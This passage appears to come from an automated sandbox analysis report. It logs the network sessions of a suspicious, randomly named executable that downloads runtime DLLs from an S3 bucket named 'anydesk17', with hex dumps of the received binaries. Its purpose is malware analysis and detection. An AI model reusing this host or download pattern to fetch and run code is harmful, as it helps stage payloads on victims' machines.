Gr}_<Y-2U}zMK/~)\|\|Y+DpLfj\HHa:_aC;:("DL]x'N$K<C_.(B 1XIS3@(@w~lrfFwoU(F!uc</MMT~i_SH&_
2024-12-18 12:05:54 UTC	1749	IN	Data Raw: 69 97 26 0e 56 0a 9b e2 cf fe 86 e6 cc f8 6e d4 65 a2 2c ff 34 36 1f aa 8b c0 5a 8e 81 00 3c 4f d8 8e 8b 1b 34 5d d1 87 d9 68 b3 1c b7 fb d0 87 54 6c 97 6f ff e9 65 bf 5d 62 21 62 e0 e2 79 9e 73 9e e7 b9 70 51 95 53 dc 85 d6 a3 d4 8b 8d 6c 3b 1e 82 48 e8 93 c4 50 f3 cb 24 fb 5a 50 35 e8 92 4f 80 5c 65 fe 49 66 5c 02 d2 fb 23 7c 11 d7 9b c8 ba 8d 62 b0 63 3c 52 d9 75 6b 3c f4 a1 e7 3c ce af 63 9e 53 64 1c bf 7e f9 27 ae 66 3d 46 ec 52 85 5c 62 db 4a 4c a9 6d fd 7f e1 62 fa 4a 34 59 d3 84 f4 0c 85 0d 11 d1 b4 45 70 38 f7 a7 40 06 e5 90 91 ba 66 08 71 c2 cd dc d2 27 ce ad 64 67 fa a9 7a e9 8e 8b 79 4e 66 f1 6a f7 57 08 55 5c 4f b7 29 16 cf 5e 36 12 4b 0c 6a 95 0e b3 b3 76 d4 02 17 d5 74 00 f6 78 c8 63 8c 41 19 f0 64 54 a3 70 d1 87 6a 64 38 82 38 bd 1d 5e 2f Data Ascii: i&Vne,46Z<O4]hTloe]b!byspQSl;HP$ZP5O\eIf\#\|bc<Ruk<<cSd~'f=FR\bJLmbJ4YEp8@fq'dgzyNfjWU\O)^6KjvtxcAdTpjd88^/
2024-12-18 12:05:54 UTC	16384	IN	Data Raw: 1e c7 21 0f 71 70 8c f4 bf f0 b5 e2 0c 09 4c 99 20 5a e2 72 4d 53 83 a9 4d 77 09 5c 74 85 6b 85 25 f0 79 b6 23 77 63 83 32 9a 50 58 12 8a a8 0c 85 12 b3 a0 c5 cc 8c a6 ac 05 e0 d0 3f 68 c2 49 78 c0 2c 0b f4 2f d9 96 5b b1 79 9d 65 f9 b0 6c 02 63 d7 63 7b 97 c9 64 ad b4 b3 a2 0d a6 fd a5 be 21 0a e3 b3 cd c0 8a f8 93 a4 65 30 62 4e 25 74 62 46 d2 2e 13 01 8e 88 7b 1f fe 5c 19 68 37 1c 58 34 73 81 d1 7a 30 7c a4 90 66 bd 71 2a 01 d8 a1 7f cf d8 3c 1e e3 f8 f5 35 8e 21 6a 60 1a 66 9d 9f 34 d7 25 0f 6b 60 ee c9 4f 51 3f 7b b1 d0 3d e3 aa ef 52 6b d2 ab 71 50 4a 5f 4c 7d 32 e3 6f a4 81 76 08 06 cd cf 5c 59 4c 9c ba 4b 93 e9 8c e1 cb 51 4f 99 c5 00 0c 91 14 67 98 51 d2 82 79 38 aa 9c 16 a1 0a 35 87 a7 96 a3 e6 6e ad 33 12 cb bf 9e 11 ce 2a e4 56 90 aa 34 d3 e9 Data Ascii: !qpL ZrMSMw\tk%y#wc2PX?hIx,/[yelcc{d!e0bN%tbF.{\h7X4sz0\|fq<5!j`f4%k`OQ?{=RkqPJ_L}2ov\YLKQOgQy85n3V4
2024-12-18 12:05:54 UTC	1024	IN	Data Raw: 53 d8 c7 91 f9 0d c1 e2 a2 6e b5 7f 91 0f cd 43 19 7a 65 9d 51 12 32 5e 06 3e 6f e1 88 ff 36 40 ba 70 57 f2 be b5 a8 74 7f a1 c4 e2 99 6f 2e 69 03 74 a7 1b d5 c5 21 3a 08 f5 d7 f8 5e 5f dc d4 d6 2b 6f 05 10 59 cc 5f d1 6b 7c 7a 29 ff 32 9d cc dd b2 4b c3 3a 2e 72 f9 1d 74 6e 9e f3 0b 5f ba 41 75 32 58 a6 57 5a 45 62 7c cf f4 b3 91 97 be 67 a7 e9 4c ac 8c b1 c4 6b 05 ee 23 99 76 f0 ab 27 5d f6 b2 fd cd 4f 0d fe 7c dd f9 c0 6f ad 9f 57 9f d7 a3 4f 6d 59 cb 7f b3 9e fb 7d 9c 82 b2 b5 29 97 1c dc 56 df 3d 9a ce e0 97 08 f9 18 22 c7 43 1e 5f 8f 7f fd eb 3c cf a9 aa 5f 8f c3 43 c3 1c c7 f8 fa 7a 7c 1d 8f 63 1c e3 18 87 27 1e 87 a9 06 c1 b0 52 b1 b2 d9 b7 dc da f5 bf d9 7b b3 2d 49 72 1c 4b f0 02 a4 a8 99 7b 44 4d ff ff 07 f6 39 f5 34 35 3d a7 32 dd 4d 55 08 f4 Data Ascii: SnCzeQ2^>o6@pWto.it!:^_+oY_k\|z)2K:.rtn_Au2XWZEb\|gLk#v']O\|oWOmY})V="C_<_Cz\|c'R{-IrK{DM945=2MU
2024-12-18 12:05:54 UTC	16384	IN	Data Raw: 78 c5 8a 0d 2b 2a bd 1f 94 96 90 fb 77 89 dc 8e cf 11 05 02 93 32 12 c1 4e cd 89 6d 37 b5 37 d0 32 b7 5a ab 25 33 26 9a 4a e4 54 d6 7a 10 94 32 b3 f2 ec 29 5b 29 45 b4 1c bf 73 2d 02 90 a8 32 04 05 e7 3a 06 8c 2e 6e be cb d8 7b f7 2f 2d 46 94 cf 62 6e 9a 0d f5 88 e0 3e 90 d0 f0 6c 42 bb 9a e6 87 56 95 e2 eb 6a 68 72 14 0b 50 3e 7e 5f 93 78 36 5e d9 7f a7 bb e6 46 34 61 82 08 10 68 f1 72 a0 bd 23 13 05 40 0c 96 ee 3c 9a 9f b6 85 9a 21 d4 2c aa 14 5a ef 74 02 99 53 b2 ec e6 74 a8 1a e2 72 8b 00 d6 75 d5 a1 d7 7c 93 a8 a6 ec 37 f9 dc d7 f3 54 5e 76 95 f1 0f 35 ff d6 0a fe c8 4d 7d e6 40 03 cf 6d 96 39 f2 92 f7 5c d3 75 fd 34 0f 43 7f 17 f3 9a d1 4e aa b0 73 fd c6 28 99 11 4a a0 32 e6 ea 39 16 23 8e 0c bb 5a fe ac 68 6e 87 b4 59 43 33 6b 4e 29 65 56 1e 42 b9 Data Ascii: x+*w2Nm772Z%3&JTz2)[)Es-2:.n{/-Fbn>lBVjhrP>~_x6^F4ahr#@<!,ZtStru\|7T^v5M}@m9\u4CNs(J29#ZhnYC3kN)eVB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49722	3.5.238.183	443	1472	C:\Users\user\Desktop\VJQyKuHEUe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 12:05:57 UTC	78	OUT	GET /VCRUNTIME140.dll HTTP/1.1 Host: anydesk17.s3.ap-east-1.amazonaws.com
2024-12-18 12:05:58 UTC	446	IN	HTTP/1.1 200 OK x-amz-id-2: 93nUhUrn3BFNvBZk1lw5sMYsxMwwh+G2dSpVH1hf9Yncga5IzIFNWtRhMPT0w0WEAJ8P4qKyj09pShP8qb0lQsngup8cQ4Ll x-amz-request-id: NYCQTQ6YQG88YKE0 Date: Wed, 18 Dec 2024 12:05:59 GMT Last-Modified: Wed, 20 Nov 2024 18:57:22 GMT ETag: "e9b690fbe5c4b96871214379659dd928" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: binary/octet-stream Content-Length: 119376 Server: AmazonS3 Connection: close
2024-12-18 12:05:58 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c8 4e 0d a3 8c 2f 63 f0 8c 2f 63 f0 8c 2f 63 f0 5f 5d 62 f1 8e 2f 63 f0 85 57 f0 f0 87 2f 63 f0 8c 2f 62 f0 a1 2f 63 f0 8c 2f 63 f0 8d 2f 63 f0 8a ae 60 f1 99 2f 63 f0 8a ae 67 f1 9c 2f 63 f0 8a ae 66 f1 93 2f 63 f0 8a ae 63 f1 8d 2f 63 f0 8a ae 9c f0 8d 2f 63 f0 8a ae 61 f1 8d 2f 63 f0 52 69 63 68 8c 2f 63 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$N/c/c/c_]b/cW/c/b/c/c/c`/cg/cf/cc/c/ca/cRich/c
2024-12-18 12:05:58 UTC	578	IN	Data Raw: 48 89 5c 24 08 57 48 83 ec 20 48 8d 05 47 e8 00 00 48 8b f9 48 89 01 8b da 48 83 c1 08 e8 de 1c 00 00 f6 c3 01 74 0d ba 18 00 00 00 48 8b cf e8 e8 bb 00 00 48 8b 5c 24 30 48 8b c7 48 83 c4 20 5f c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 40 53 56 57 41 54 41 55 41 56 41 57 48 83 ec 70 48 8b f9 45 33 ff 44 89 7c 24 20 44 21 bc 24 b0 00 00 00 4c 21 7c 24 28 4c 21 bc 24 c8 00 00 00 e8 c3 21 00 00 4c 8b 68 28 4c 89 6c 24 40 e8 b5 21 00 00 48 8b 40 20 48 89 84 24 c0 00 00 00 48 8b 77 50 48 89 b4 24 b8 00 00 00 48 8b 47 48 48 89 44 24 30 48 8b 5f 40 48 8b 47 30 48 89 44 24 48 4c 8b 77 28 4c 89 74 24 50 48 8b cb e8 ae d4 ff ff e8 71 21 00 00 48 89 70 20 e8 68 21 00 00 48 89 58 28 e8 5f 21 00 00 48 8b 50 20 48 8b 52 28 48 8d 4c 24 60 e8 45 b6 00 00 4c 8b e0 48 Data Ascii: H\$WH HGHHHtHH\$0HH _@SVWATAUAVAWHpHE3D\|$ D!$L!\|$(L!$!Lh(Ll$@!H@ H$HwPH$HGHHD$0H_@HG0HD$HLw(Lt$PHq!Hp h!HX(_!HP HR(HL$`ELH
2024-12-18 12:05:58 UTC	16384	IN	Data Raw: c4 53 56 57 41 54 41 55 41 57 48 81 ec a8 00 00 00 48 8b f9 45 33 e4 44 89 64 24 20 44 21 a4 24 f0 00 00 00 4c 21 64 24 28 4c 21 64 24 40 44 88 60 80 44 21 60 84 44 21 60 88 44 21 60 8c 44 21 60 90 44 21 60 94 e8 bb 1f 00 00 48 8b 40 28 48 89 44 24 38 e8 ad 1f 00 00 48 8b 40 20 48 89 44 24 30 48 8b 77 50 48 89 b4 24 f8 00 00 00 48 8b 5f 40 48 8b 47 30 48 89 44 24 50 4c 8b 7f 28 48 8b 47 48 48 89 44 24 70 48 8b 47 68 48 89 44 24 78 8b 47 78 89 84 24 e8 00 00 00 8b 47 38 89 84 24 e0 00 00 00 48 8b cb e8 91 d2 ff ff e8 54 1f 00 00 48 89 70 20 e8 4b 1f 00 00 48 89 58 28 e8 42 1f 00 00 48 8b 50 20 48 8b 52 28 48 8d 8c 24 88 00 00 00 e8 25 b4 00 00 4c 8b e8 48 89 44 24 48 4c 39 67 58 74 19 c7 84 24 f0 00 00 00 01 00 00 00 e8 0f 1f 00 00 48 8b 48 70 48 89 4c 24 Data Ascii: SVWATAUAWHHE3Dd$ D!$L!d$(L!d$@D`D!`D!`D!`D!`D!`H@(HD$8H@ HD$0HwPH$H_@HG0HD$PL(HGHHD$pHGhHD$xGx$G8$HTHp KHX(BHP HR(H$%LHD$HL9gXt$HHpHL$
2024-12-18 12:05:58 UTC	1024	IN	Data Raw: 0d 41 f5 00 00 83 39 09 74 0a 48 8d 54 24 30 e8 a6 ed ff ff 48 8d 54 24 30 48 8b cb e8 7d ec ff ff 48 39 3d 36 f5 00 00 75 0c 83 63 08 00 48 83 23 00 c6 43 08 02 8a 4b 08 84 c9 0f 84 da fe ff ff eb 27 80 7b 08 01 7f 21 48 83 3b 00 48 8b cb 74 0e 48 8d 15 95 bc 00 00 e8 90 e5 ff ff eb 0a ba 01 00 00 00 e8 94 ea ff ff 48 8b 74 24 68 48 8b c3 48 8b 5c 24 60 48 83 c4 50 5f c3 cc 48 89 5c 24 08 55 48 8b ec 48 83 ec 40 48 8b 05 cc f4 00 00 48 8b d9 80 38 58 0f 84 ef 00 00 00 80 38 5a 0f 84 a9 00 00 00 48 8d 4d e0 e8 4a fe ff ff 8b 4d e8 33 d2 84 c9 0f 85 87 00 00 00 48 8b 05 9a f4 00 00 38 10 74 7c 80 38 40 74 6d 80 38 5a 74 0f 89 53 08 c6 43 08 02 48 89 13 e9 da 00 00 00 48 ff c0 4c 8d 45 f0 48 89 05 6f f4 00 00 8b 05 79 f4 00 00 c1 e8 12 f7 d0 a8 01 74 10 48 Data Ascii: A9tHT$0HT$0H}H9=6ucH#CK'{!H;HtHHt$hHH\$`HP_H\$UHH@HH8X8ZHMJM3H8t\|8@tm8ZtSCHHLEHoytH
2024-12-18 12:05:58 UTC	16384	IN	Data Raw: 4c 89 7d e7 48 8d 4d e7 44 89 7d ef 48 8b d8 e8 06 fa ff ff 4c 8b c3 48 8d 55 07 48 8d 4d e7 e8 76 e7 ff ff 41 b0 5d 48 8d 55 27 48 8d 4d 07 e8 92 e7 ff ff 48 8b d0 48 8d 4d d7 e8 5e e8 ff ff 80 7d df 01 7e 99 4c 39 3f 74 62 f7 47 08 00 08 00 00 74 09 48 8d 55 27 48 8b cf eb 3a b2 28 4c 89 7d e7 48 8d 4d e7 44 89 7d ef e8 aa f9 ff ff 4c 8b c7 48 8d 55 07 48 8d 4d e7 e8 1a e7 ff ff 41 b0 29 48 8d 55 27 48 8d 4d 07 e8 36 e7 ff ff 48 8d 55 17 48 8b c8 4c 8d 45 d7 e8 fa e6 ff ff 48 8b 08 48 89 4d d7 8b 40 08 89 45 df 48 8d 55 d7 48 8d 4d f7 e8 54 32 00 00 8b 4d ff 48 8b 45 f7 0f ba e9 0b 41 89 4e 08 49 89 06 e9 a0 00 00 00 48 8d 4d e7 4c 89 7d e7 44 89 7d ef 4c 39 3a 74 5b b2 28 e8 31 f9 ff ff 4c 8b c7 48 8d 55 d7 48 8d 4d e7 e8 a1 e6 ff ff 48 8d 05 ee b5 00 Data Ascii: L}HMD}HLHUHMvA]HU'HMHHM^}~L9?tbGtHU'H:(L}HMD}LHUHMA)HU'HM6HUHLEHHM@EHUHMT2MHEANIHML}D}L9:t[(1LHUHMH
2024-12-18 12:05:58 UTC	1024	IN	Data Raw: 30 e8 68 a7 ff ff 4c 8b c7 48 8d 55 20 48 8b c8 e8 85 a7 ff ff 48 8b 08 48 89 0f 8b 40 08 89 47 08 4c 8d 9c 24 40 02 00 00 48 8b c7 49 8b 5b 20 49 8b 73 28 49 8b 7b 30 49 8b e3 41 5e 41 5d 5d c3 cc 48 89 5c 24 08 4c 89 74 24 10 55 48 8b ec 48 83 ec 70 48 83 21 00 48 8b d9 83 61 08 00 45 33 c0 48 8d 4d c0 b2 01 e8 15 1b 00 00 4c 8d 35 ea 71 00 00 48 8b 10 48 89 13 48 8b ca 8b 40 08 89 43 08 80 7b 08 00 48 8b 05 d0 b0 00 00 75 59 80 38 00 74 54 80 38 40 74 54 48 8d 4d d0 e8 e7 fa ff ff 4c 89 75 b0 4c 8d 45 c0 c7 45 b8 02 00 00 00 48 8d 55 e0 0f 28 45 b0 48 8b c8 66 0f 7f 45 c0 e8 a7 a6 ff ff 4c 8b c3 48 8d 55 f0 48 8b c8 e8 c4 a6 ff ff 48 8b 08 48 89 0b 8b 40 08 89 43 08 48 8b 05 75 b0 00 00 80 38 40 75 0c 48 ff c0 48 89 05 66 b0 00 00 eb 74 80 38 00 74 0e Data Ascii: 0hLHU HHH@GL$@HI[ Is(I{0IA^A]]H\$Lt$UHHpH!HaE3HML5qHHH@C{HuY8tT8@tTHMLuLEEHU(EHfELHUHHH@CHu8@uHHft8t
2024-12-18 12:05:58 UTC	1749	IN	Data Raw: ad 00 00 83 63 08 00 48 8d 05 e0 74 00 00 48 89 03 eb 27 48 ff c0 48 89 05 41 ad 00 00 48 8b 44 24 20 48 89 03 8b 44 24 28 89 43 08 eb 0c 83 63 08 00 48 83 23 00 c6 43 08 02 48 8b c3 48 83 c4 40 5b c3 cc cc cc 40 53 48 83 ec 30 48 8b d9 48 8b 0d 08 ad 00 00 80 39 00 75 10 83 63 08 00 48 8d 05 88 74 00 00 48 89 03 eb 62 41 b8 04 00 00 00 48 8d 15 6a 6e 00 00 ff 15 c0 5a 00 00 85 c0 75 3f 48 83 05 d4 ac 00 00 04 44 8d 40 01 33 d2 48 8d 4c 24 20 e8 9c fe ff ff 48 8b 05 bd ac 00 00 80 38 40 75 1b 48 ff c0 48 89 05 ae ac 00 00 48 8b 44 24 20 48 89 03 8b 44 24 28 89 43 08 eb 0c 83 63 08 00 48 83 23 00 c6 43 08 02 48 8b c3 48 83 c4 30 5b c3 40 53 48 83 ec 20 48 8b 05 7b ac 00 00 48 8b d9 80 38 3f 75 24 48 ff c0 80 38 24 75 09 b2 01 e8 48 02 00 00 eb 1d 45 33 c0 Data Ascii: cHtH'HHAHD$ HD$(CcH#CHH@[@SH0HH9ucHtHbAHjnZu?HD@3HL$ H8@uHHHD$ HD$(CcH#CHH0[@SH H{H8?u$H8$uHE3
2024-12-18 12:05:59 UTC	16384	IN	Data Raw: 66 0f 7f 45 b0 e8 5f 99 ff ff e9 10 03 00 00 b2 26 4c 89 75 e0 48 8d 4d e0 44 89 75 e8 e8 23 af ff ff 48 8d 4d b0 e8 0a c9 ff ff 4c 8b c0 48 8d 4d e0 48 8b d7 e8 8b 9c ff ff e9 e0 02 00 00 48 8b cf e8 6a f6 ff ff e9 d3 02 00 00 48 8d 05 c6 6d 00 00 44 89 77 08 48 89 07 e9 c0 02 00 00 48 8b cf e8 5a db ff ff e9 b3 02 00 00 8b ce 83 e9 37 74 53 83 e9 01 74 41 83 e9 09 74 2d 83 e9 01 74 28 83 e9 01 74 16 83 f9 02 0f 85 84 02 00 00 48 8b cf e8 9d c8 ff ff e9 82 02 00 00 48 8b cf e8 50 b2 ff ff e9 75 02 00 00 8b d6 48 8b cf e8 61 d3 ff ff e9 66 02 00 00 48 8b cf e8 80 e6 ff ff e9 59 02 00 00 48 8b cf e8 3f 0a 00 00 e9 4c 02 00 00 83 fe 50 0f 8f 18 02 00 00 0f 84 f4 01 00 00 8b ce 83 e9 47 74 50 83 e9 01 74 4b 83 e9 01 74 46 83 e9 01 74 41 83 e9 03 74 1c 83 f9 Data Ascii: fE_&LuHMDu#HMLHMHHjHmDwHHZ7tStAt-t(tHHPuHafHYH?LPGtPtKtFtAt
2024-12-18 12:05:59 UTC	1024	IN	Data Raw: e8 34 0d ff ff 90 48 83 c4 20 5d c3 cc 40 55 48 83 ec 20 48 8b ea e8 16 51 ff ff 83 78 30 00 7e 08 e8 0b 51 ff ff ff 48 30 48 83 c4 20 5d c3 cc 40 55 48 83 ec 30 48 8b ea e8 fb 0c ff ff 90 48 83 c4 30 5d c3 cc 40 55 48 83 ec 30 48 8b ea e8 dd 50 ff ff 83 78 30 00 7e 08 e8 d2 50 ff ff ff 48 30 48 83 c4 30 5d c3 cc 40 55 48 83 ec 20 48 8b ea 48 8b 4d 38 e8 6a e6 ff ff 90 48 83 c4 20 5d c3 cc cc cc cc cc cc cc 40 55 48 83 ec 20 48 8b ea 48 8b 01 33 c9 81 38 05 00 00 c0 0f 94 c1 8b c1 48 83 c4 20 5d c3 cc 40 55 48 83 ec 30 48 8b ea 48 8b 01 33 c9 81 38 05 00 00 c0 0f 94 c1 8b c1 48 83 c4 30 5d c3 cc 48 8d 8a 70 00 00 00 e9 20 5b ff ff 40 55 48 83 ec 20 48 8b ea 33 c9 48 83 c4 20 5d e9 bb 4f ff ff cc 40 53 55 57 48 83 ec 40 48 8b ea 48 89 4d 50 48 89 4d 48 e8 Data Ascii: 4H ]@UH HQx0~QH0H ]@UH0HH0]@UH0HPx0~PH0H0]@UH HHM8jH ]@UH HH38H ]@UH0HH38H0]Hp [@UH H3H ]O@SUWH@HHMPHMH
2024-12-18 12:05:59 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49731	3.5.239.146	443	1472	C:\Users\user\Desktop\VJQyKuHEUe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 12:06:01 UTC	80	OUT	GET /vcruntime140_1.dll HTTP/1.1 Host: anydesk17.s3.ap-east-1.amazonaws.com
2024-12-18 12:06:01 UTC	445	IN	HTTP/1.1 200 OK x-amz-id-2: v2OfH5p0YHPAOx9KrQh2/x/Zi0gKfb/6vH3zqr6C6DU9YyOYTkIThmmrZwdIViTRjgqfiDISOWlbHF2txE/ZrYVtnO7Nl9kS x-amz-request-id: VKC41TPQQYCDH9DT Date: Wed, 18 Dec 2024 12:06:02 GMT Last-Modified: Wed, 20 Nov 2024 18:57:22 GMT ETag: "eb49c1d33b41eb49dfed58aafa9b9a8f" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: binary/octet-stream Content-Length: 49744 Server: AmazonS3 Connection: close
2024-12-18 12:06:01 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 39 40 b7 57 7d 21 d9 04 7d 21 d9 04 7d 21 d9 04 ae 53 d8 05 7f 21 d9 04 7b a0 d8 05 7f 21 d9 04 74 59 4a 04 76 21 d9 04 7d 21 d8 04 4e 21 d9 04 7b a0 da 05 78 21 d9 04 7b a0 dd 05 7a 21 d9 04 7b a0 dc 05 66 21 d9 04 7b a0 d9 05 7c 21 d9 04 7b a0 26 04 7c 21 d9 04 7b a0 db 05 7c 21 d9 04 52 69 63 68 7d 21 d9 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$9@W}!}!}!S!{!tYJv!}!N!{x!{z!{f!{\|!{&\|!{\|!Rich}!PEd
2024-12-18 12:06:01 UTC	579	IN	Data Raw: d8 72 00 00 00 00 00 00 c4 72 00 00 00 00 00 00 b0 72 00 00 00 00 00 00 92 72 00 00 00 00 00 00 76 72 00 00 00 00 00 00 62 72 00 00 00 00 00 00 4e 72 00 00 00 00 00 00 34 72 00 00 00 00 00 00 1e 72 00 00 00 00 00 00 08 72 00 00 00 00 00 00 ee 71 00 00 00 00 00 00 e0 71 00 00 00 00 00 00 c6 71 00 00 00 00 00 00 b4 71 00 00 00 00 00 00 a2 71 00 00 00 00 00 00 94 71 00 00 00 00 00 00 8a 71 00 00 00 00 00 00 7c 71 00 00 00 00 00 00 6e 71 00 00 00 00 00 00 62 71 00 00 00 00 00 00 3a 71 00 00 00 00 00 00 cc 70 00 00 00 00 00 00 dc 70 00 00 00 00 00 00 ee 70 00 00 00 00 00 00 1a 71 00 00 00 00 00 00 02 71 00 00 00 00 00 00 2a 71 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 70 00 00 00 00 00 00 9a 70 00 00 00 00 00 00 62 70 00 00 00 00 00 00 7a 70 00 00 00 00 00 Data Ascii: rrrrvrbrNr4rrrqqqqqqq\|qnqbq:qpppqq*qppbpzp
2024-12-18 12:06:02 UTC	16384	IN	Data Raw: 6e 6f 77 6e 20 65 78 63 65 70 74 69 6f 6e 00 00 00 00 00 00 00 f8 64 00 80 01 00 00 00 b0 25 00 80 01 00 00 00 50 31 00 80 01 00 00 00 62 61 64 20 65 78 63 65 70 74 69 6f 6e 00 00 00 98 52 00 80 01 00 00 00 d8 52 00 80 01 00 00 00 18 53 00 80 01 00 00 00 61 00 70 00 69 00 2d 00 6d 00 73 00 2d 00 77 00 69 00 6e 00 2d 00 63 00 6f 00 72 00 65 00 2d 00 66 00 69 00 62 00 65 00 72 00 73 00 2d 00 6c 00 31 00 2d 00 31 00 2d 00 31 00 00 00 00 00 00 00 61 00 70 00 69 00 2d 00 6d 00 73 00 2d 00 77 00 69 00 6e 00 2d 00 63 00 6f 00 72 00 65 00 2d 00 73 00 79 00 6e 00 63 00 68 00 2d 00 6c 00 31 00 2d 00 32 00 2d 00 30 00 00 00 00 00 00 00 00 00 6b 00 65 00 72 00 6e 00 65 00 6c 00 33 00 32 00 00 00 00 00 00 00 00 00 61 00 70 00 69 00 2d 00 6d 00 73 00 2d 00 00 00 00 00 Data Ascii: nown exceptiond%P1bad exceptionRRSapi-ms-win-core-fibers-l1-1-1api-ms-win-core-synch-l1-2-0kernel32api-ms-
2024-12-18 12:06:02 UTC	1024	IN	Data Raw: 90 05 d7 e9 a3 9d b2 b0 ff e3 7a 2e 87 76 5f 3b f2 e2 f4 19 c8 11 3b fb 3a 17 cf aa 46 e3 52 84 39 07 85 b8 f5 0d 12 55 6d 05 2c ae 61 1c 28 0e 83 ec 48 c9 30 b9 f2 a1 82 3f cc 30 82 17 90 06 0a 2b 06 01 04 01 82 37 03 03 01 31 82 17 80 30 82 17 7c 06 09 2a 86 48 86 f7 0d 01 07 02 a0 82 17 6d 30 82 17 69 02 01 03 31 0f 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 30 82 01 52 06 0b 2a 86 48 86 f7 0d 01 09 10 01 04 a0 82 01 41 04 82 01 3d 30 82 01 39 02 01 01 06 0a 2b 06 01 04 01 84 59 0a 03 01 30 31 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20 e7 03 93 4d 32 1f 2d 95 1f 30 4e 11 8b a0 2d cd 18 c5 2d 56 d1 3e 82 74 a9 a1 4d 70 aa 9c 30 2c 02 06 65 a0 07 e9 a2 c7 18 13 32 30 32 34 30 31 31 39 31 37 34 30 34 30 2e 36 34 39 5a 30 04 80 02 01 f4 a0 81 d1 Data Ascii: z.v_;;:FR9Um,a(H0?0+710\|Hm0i10`He0RHA=09+Y010`He M2-0N--V>tMp0,e20240119174040.649Z0
2024-12-18 12:06:02 UTC	10157	IN	Data Raw: dd 93 c8 e7 3e 50 e9 bb 7b dd ad 54 f1 e9 8d d8 3e 3a 67 f7 d5 32 d4 7f fa 28 bb 20 0e 27 f2 27 9f 68 a1 dc 04 8f d1 06 26 f8 01 50 8e 16 03 34 3b bc bb 33 1d c0 71 79 41 dc 2c b1 c3 5a f4 f5 52 19 e7 4b 74 32 e8 f6 32 fa 0e 83 c5 e0 d6 28 d3 a9 6f bc 44 2e 48 9f 48 9b 06 5f 04 62 f2 ff c8 69 13 b4 43 e1 ec 2f 24 a9 8c d7 eb 7a 79 0b 84 b1 35 e3 ac 63 36 5a 39 16 d7 c4 a0 51 9f 27 f9 5a 4b da e9 3a 02 10 e4 09 ad f9 e4 8e 77 d6 9d 09 92 aa 68 a2 7e dd 1e e2 d4 75 94 90 3b 8d 2a 99 52 10 ea a4 02 6a 7b c8 99 3a a6 36 01 3f ac f2 74 ae 0a f4 84 c3 c8 fe e4 75 4f f8 9a 2f 49 84 ab 86 ea 6a 4f b7 b1 af 08 f8 50 18 38 8f cf 0b b5 7e cc 47 a4 fa c7 72 5a d6 97 fa 77 5b 1a 5b ff 44 96 f9 99 06 86 9f c3 6e 9d b9 1f bc 70 f5 42 de 43 d2 b9 ad 30 e7 a4 60 ca bb 42 Data Ascii: >P{T>:g2( ''h&P4;3qyA,ZRKt22(oD.HH_biC/$zy5c6Z9Q'ZK:wh~u;*Rj{:6?tuO/IjOP8~GrZw[[DnpBC0`B
